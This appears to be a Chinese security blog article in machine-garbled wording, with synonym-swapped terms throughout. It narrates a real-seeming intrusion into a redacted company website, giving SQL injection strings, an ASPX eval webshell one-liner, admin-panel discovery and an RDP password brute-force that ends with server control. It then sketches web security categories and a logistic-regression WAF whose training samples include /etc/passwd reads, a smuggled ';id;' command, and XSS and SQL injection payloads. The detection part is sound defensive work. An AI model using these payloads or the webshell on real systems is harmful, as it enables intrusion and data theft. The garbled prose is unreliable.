2. 入侵防御是一种电脑网络安全举动步伐,是对防病毒软件和防火墙的阐明。 入侵防御是一种能够监视网络或网络设备与网络资料传输行为的打算机网络安全系统,能够即时的中断、调度或隔离一些不正常或是具有侵害性的网络资料传输行为。常见的产品有(IPS: Intrusion Prevention System)、防病毒软件(Antivirus Programs)和防火墙(Packet Filter, Application Gateway)。
网站入侵实战剖析1. 网络目标信息目标是http://www.xxxxxx.com/Pages/About.aspx?id=95上海某广告有限公司,网站是aspx编写,存在SQL注入,图1所示,判断是否存在注入点。做事器是windows server 2008 并开放了3389端口,如图2所示。
图1

图2
2. 漏洞利用既然存在SQL注入漏洞,就可以考试测验攻击能不能获取数据库信息,如图3所示,数据库基本信息己经获取到。用到关键sql语句:
1' and 1=2 union all select 1, database(); #
图3
接下来便是获取获取表名与字段数据,如图4所示:用到关键sql语句:
1' and 1=2 union all select TABLE_SCHEMA, TABLE_NAME from information_schema.tables where table_schema = 'xxxx'; #1' and 1=2 union all select TABLE_NAME, COLUMN_NAME from information_schema.columns where table_name = 'xxxx'; #1' and 1=2 union all select user, password from users; #
图4
如图4所示得到管理员密码为:4Cxxxxxxxxxxxxx。MD5解密得到:ERxxxxxxxx。但是现在问题来了,虽然有了管理员密码,但是没有找到登录后台,就好比有了钥匙,但是不知道开谁家的门,现在还得找一下后台。用御剑后台扫描工具爆破彷佛被做事器创造谢绝访问了,末了考试测验利用google hacking语法测试找到其后台为http://www.xxxxxxx.com/Admin/Login.aspx?returnUrl=%2fadmin%2flogin.aspx,然后登录成功,如图5、6
图5
图6
3. 坚持访问WebshellWebshell是攻击者利用的恶意脚本,其目的是升级和掩护对已经受到攻击的WEB运用程序的持久访问。Webshell常日包含一个后门,许可攻击者远程访问,并能在任何时候掌握做事器。这样攻击者省去了每次访问攻击做事器须要利用漏洞的韶光。攻击者也可能选择自己修复漏洞,以确保没有其他人会利用该漏洞。登录到后台看到有一个上传图片的地方可以上传WebShell,webShell代码如下:
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
末了上传成后用菜刀连接如图7所示。
图7
4. 权限提升大部分黑客在入侵一个网站后,常日会将asp或php后门文件与网站做事器web目录下正常的网页文件混在一起,然后就可以利用浏览器来访问asp或者php后门,得到一个命令实行环境,以达到掌握网站做事器的目的,但是除非做事器配置缺点,否则webshell一样平常在web做事器的用户权限下运行,该用户权限有限的。通过利用webshell,攻击者可以考试测验通过利用系统上确当地漏洞来实行权限升级攻击,以假定根权限,在Linux和其他基于Unix的操作系统中,根权限是“超级用户”。通过访问根帐户,攻击者基本上可以在系统上做任何事情,包括安装软件、变动权限、添加和删除用户、盗取密码、读取电子邮件等等。从信息网络我们可以知道目标做事器开了3389端口,如图8所示。
图8
我们可以考试测验通过爆破的办法来试试运气。运气不错,管理员设置了一个超级大略的密码,终极被成功破解登录,如图9所示。
图9
终极拿到了做事器的掌握权,以上内容仅供学习参考,请勿造孽测试。
web安全框架简述1. 不论是攻击还是防御,我们都要清楚地知道什么地方可能存在攻击点,什么地方必要重点防御,基于此我把它分成如图10所示的分类。
图10
如上图10所示,将Web安全程简化为3类:
常规安全:注入、XSS、文件上传、文件包含、CSRF 等安全漏洞。
业务安全:开拓、逻辑漏洞,包括修改类、验证码类、越权类漏洞,比如:商品数量修改、积分修改、单价修改、现金修改、订单号修改等。
第三方安全与0-nDay:第三方依赖包漏洞、开拓框架漏洞,未知的漏洞,与一些nDay,在Web运用系统开拓过程中,会利用一些开源的前端、后端框架,来实现快速、规范开拓。在选用实际的框架时,需对框架进行安全评估,以防止涌现安全漏洞,把一些不须要安全风险引入到业务系统中。比如Spring中CVE-2018-1270 漏洞,造发展途代码实行,JAVA 反序列化实行漏洞,攻击者可以通过此漏洞远程实行恶意代码来入侵做事器。
2. 对不同类型的安全问题必要的不同的韶光段有不同的应对办法,同样我也把这个过程分为三步,如图11所示。
图11
事前这一步实在是很关键的一步,这一步是尽可能创造更多的安全隐患,然后办理掉。就像在医学界一样,早在《黄帝内经》“治未病”思想中,防病养生打算,是至今为止我国卫生界所遵守的“预防为主”计策的最早思想,它包括未病先防、已病防变、已变防渐等多个方面的内容,这就哀求人们不但要治病,而且要防病,不但要防病,而且要把稳阻挡病变发生的趋势、并在病变未产生之前就想好能够采取的救急方法,这样才能节制疾病的主动权,达到“治病十全”的“上工之术”。做到在疾病没有来,就肃清了。扯得有点远了。回到WEB安全,事提高行安全测试,创造安全问题,只管即便减少外部安全隐患是多么的主要。第一步也只能是只管即便减少安全隐患,当漏了安全问题的时候,我们就必要用到防御与检测对应着事中与事后,比如防火墙、入侵检测系统、web运用防火墙,风险掌握,降落做事运行权限,取消上传目录的实行权限。就算攻击者做事器的shell,只管即便降落安全风险。
机器学习攻击检测模型WAF探索1. 根据最新CyberEdge年度网络威胁防御报告,超过90%的IT安全组织投身于机器学习(ML)和/或人工智能(AI)技能,以应对高等网络威胁。可见机AI在网络安全领域的主要性。目前己知的安全产品也运用到了AI技能并取得不错的效果。
2. 不管是用传统的WAF还是用AI来做安全防御,总之知道如何攻击才能更好的地防御,我把攻击与防御做一个大略的流程比拟,如图12所示。
图12
3. WAF (WebApplication Firewall) 是网站安全防护体系里最常用也最有效的防御手段之一,被广泛运用于 Web 业务及网站的安全防护中,如果要保障 WAF 有效拦截黑客入侵,关键在于 Web 攻击检测的有效性。当前 WAF 的主流检测手段有基于规则和基于语义规则两种:基于规则的 WAF,通过掩护大量的已知攻击手腕的特色规则,用特色规则匹配来检讨目标流量中的攻击行为,这种办法大略有效,但是规则难以有效应对 0day 攻击与规则以外的黑客攻击手腕。基于语义剖析是在理解程序本身措辞规范根本上,通过匹配攻击特色检测 Web 攻击。范例的运用是针对SQL 数据库措辞的 SQL 注入攻击,及针对 JS 措辞的 XSS 攻击的攻击检测。理论上可以办理基于正则的规则的漏报和误报的问题,不过也不是万能的,比如http协议中究竟哪部分是疑似可实行的代码段,这个便是个不好办理的问题。其余http协议中,对付SQL注入攻击存在的都是代码段,或者说是SQL片段,如何担保拼接可以正常解析也是很难的事情。可以参考这篇文章https://www.cnblogs.com/2014asm/p/10834818.html。
4. 基于规则、语义剖析结合的 WAF 将 Web 攻击检测技能提高了一个台阶,但防护仍旧不具备对未知威胁的进化适应能力,处于被动应对攻击状态。如果能将“被动应对”变为“主动进化”,WAF 的防护能力可以更进一步得到提升:如果能通过机器学习履历数据,形成有效的行为模型,然后对要求事宜做出判断和预测,将使产品具备自学习、自进化、自适应的特性。将机器学习运用到 WAF 攻击检测中,理论上可以进一步提升 WAF 的能力。
5. 本文利用机器学习中逻辑回归算法建立检测模型,实现对网络要求进行恶意检测。大略先容算法事理:Logistic回归为概率型非线性回归模型,是研究二分类不雅观察结果与一些影响成分之间关系的一种多变量剖析方法。常日的问题是,研究某些成分条件下某个结果是否发生,比如医学中根据病人的一些症状特色来判断它是否患有某种病。
检测模型建立整体流程如图13所示:
图13
建模紧张步骤:分别拿到正常要乞降恶意要求的数据集。对无规律的数据集进行处理得到特色矩阵。利用机器逻辑回归办法利用特色矩阵演习检测模型。末了打算模型的准确度,并利用检测模型判断未知要求是恶意的还是正常的。恶意的数据集来自 https://github.com/foosdy/payloads中的一些XSS、SQL注入等攻击的payload,一共整理出50000条恶意要求作为恶意的数据集;正常要求的数据集来自于http://secrepo.com/, 攻击1000000条日志要求,比如有恶意要求部分样本如下:
/scripts/edit_image.php?dn=1&userfile=/etc/passwd&userfile_name= ;id;/launch.asp?nfuse_application=<script>alert('vulnerable')</script>
/main.php?logout=1' and 1=1 and ''<>'kxshru8u
在网络的样本集中无论是恶意要求数据集还是正常要求数据集,都是不定长的字符串列表,很难直接用逻辑回归算法对这些不规律的数据进行处理,以是,须要对文本进行数字特色化,用来演习我们的检测模型。处理完特色化后用作为演习的数据集,可以先从中取出一少部分数据用来测试已经演习好的模型的准确率,可以直策应用scikit-learn供应的 train_test_split 方法对原始数据集进行分割。有了演习数据,可以直策应用逻辑回归的方法来演习我们的模型,直接调用scikit-learn 定义一个逻辑模型实例,然后调用演习方法,传值演习数据即可,全部代码如下:
# coding: utf-8
import osfrom sklearn.feature_extraction.textimport TfidfVectorizerfrom sklearn.model_selectionimport train_test_splitfrom sklearn.linear_modelimport LogisticRegression
import urllib
import time
import pickle
import html
import warnings
warnings.filterwarnings('ignore')
class WAF(object):
def __init__(self):
pass
def ML_Train(self):
good_query_list = self.get_query_list('goodqueries.txt')
bad_query_list = self.get_query_list('badqueries.txt')
print('===========start========')
good_y = [0 for iin range(0,len(good_query_list))]
bad_y = [1 for iin range(0,len(bad_query_list))]
queries = bad_query_list+good_query_list
y = bad_y + good_y
#converting data to vectors
self.vectorizer = TfidfVectorizer(tokenizer=self.get_ngrams)
X = self.vectorizer.fit_transform(queries)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=20, random_state=42)
self.lgs = LogisticRegression()
self.lgs.fit(X_train, y_train)
print('模型准确度:{}'.format(self.lgs.score(X_test, y_test)))#模型的准确度
def predict(self,new_queries):
new_queries = [urllib.parse.unquote(url) for urlin new_queries]
X_predict = self.vectorizer.transform(new_queries)
res = self.lgs.predict(X_predict)
res_list = []for q,rin zip(new_queries,res):
tmp = '正常要求'if r == 0 else '恶意要求'
# print('{} {}'.format(q,tmp))
q_entity = html.escape(q)
res_list.append({'url':q_entity,'识别结果':tmp})
print("预测结果:{}".format(str(res_list)))return res_list
def get_query_list(self,filename):
directory = str(os.getcwd())
# directory = str(os.getcwd())+'/module/waf'
filepath = directory + "/" + filename
data = open(filepath,'r', encoding='UTF-8').readlines()
query_list = []for din data:
d = str(urllib.parse.unquote(d)) #converting url encoded data to simple string
# print(d)
query_list.append(d)return list(set(query_list))
def get_ngrams(self,query):
tempQuery = str(query)
ngrams = []for iin range(0,len(tempQuery)-3):
ngrams.append(tempQuery[i:i+3])return ngrams
末了检测模型的准确度与验证模型效果,大略布局几个要求去进行预测,判断的结果如下:
if __name__ == '__main__':
wf = WAF()
wf.ML_Train()
wf.predict(['http://localhost/id=1<script>alert(666)</script>',#xss攻击
'http://localhost/name=admin\' or 1=2',#sql注入
'http://localhost/index.php?id=1 and 1=2',#sql注入
'http://localhost/index.php?id=1',#sql注入
'http://www.exehack.net/article.asp?id=6 and (select count() from sysobjects)>0',#sql注入
'article.asp?id=6 group by admin.username,admin.password having 1=1–',#sql注入
'http://localhost/admin.php'])#正常===========start========
模型准确度:0.95
预测结果:
[{'url': 'http://localhost/id=1<script>alert(666)</script>', '识别结果': '恶意要求'},
{'url': 'http://localhost/name=admin' or 1=2', '识别结果': '恶意要求'},
{'url': 'http://localhost/index.php?id=1 and 1=2', '识别结果': '恶意要求'},
{'url': 'http://localhost/index.php?id=1', '识别结果': '恶意要求'},
{'url': 'http://www.exehack.net/article.asp?id=6 and (select count() from sysobjects)>0', '识别结果': '恶意要求'},
{'url': 'article.asp?id=6 group by admin.username,admin.password having 1=1–', '识别结果': '恶意要求'},
{'url': 'http://localhost/admin.php', '识别结果': '正常要求'}]
结果都能准确识别出是否为恶意要求,但是这只是检测常见攻击的模型,还有像业务安全,只能结合自身业务,确定正常或者威胁的要求数据作为演习数据集演习模型这样才能更加适用于当前业条环境。以上便是用机器学习算法来演习恶意要求检测模型,演习检测模型的办法有许多种,常见的有SVM或是其他机器学习算法,基于逻辑回归检测的有效性非常依赖于演习数据集,在运用时可以定期把检测出确定威胁的要求放入原始数据集中,对检测模型进行优化,检测结果会更加精准。
总结
1. 个人认为好的技能一定是从公司的状况出发,最新的、最前辈、最牛B的技能不一定便是最得当的技能,最得当公司当前业务的技能才是最有代价的技能。同样一个好的安全防御产品不是全能型的,不是万金油,也不可能包打天下,只有相互合营不同的安全产品才能更好的做到安全防护。AI在Web攻击检测上存在延迟问题,由于机器学习在处理大数据时须要相对较长的处理韶光,如相对繁芜的算法理论上可以实现更加精准的识别,但是由于AI检测的处理延迟将会严重影响业务性能,这也是AI WAF落地Web攻击检测必须办理的问题。